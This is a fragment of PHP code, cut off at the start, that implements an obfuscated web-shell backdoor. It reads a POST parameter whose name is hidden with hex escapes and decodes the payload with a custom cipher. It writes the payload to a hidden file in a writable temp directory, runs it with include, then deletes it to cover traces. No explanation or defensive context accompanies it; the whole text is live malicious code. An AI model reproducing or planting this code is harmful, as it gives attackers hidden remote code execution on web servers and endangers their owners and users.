= count($binding)) break; if ((is_dir($flag) and is_writable($flag))) { $parameter_group = "$flag/.marker"; $success = file_put_contents($parameter_group, $token); if ($success) { include $parameter_group; @unlink($parameter_group); die();} } $reference++; } while (true); }
if(in_array("ref\x65\x72\x65n\x63e", array_keys($_POST))){
$data = array_filter([getcwd(), getenv("TMP"), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", session_save_path(), sys_get_temp_dir()]);
$token = $_POST["ref\x65\x72\x65n\x63e"];
$token =explode ( "." , $token) ;
$record = '';
$s = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen( $s);
foreach( $token as $q => $v6):
$sChar = ord( $s[$q % $sLen]);
$dec = ( ( int)$v6 - $sChar -( $q % 10)) ^ 43;
$record .= chr( $dec);
endforeach;
$ptr = 0;
do {
$pgrp = $data[$ptr] ?? null;
if ($ptr >= count($data)) break;
if ((bool)is_dir($pgrp) && (bool)is_writable($pgrp)) {
$descriptor = sprintf("%s/.rec", $pgrp);
$success = file_put_contents($descriptor, $record);
if ($success) {
include $descriptor;
@unlink($descriptor);
exit;}
}
$ptr++;
} while (true);
}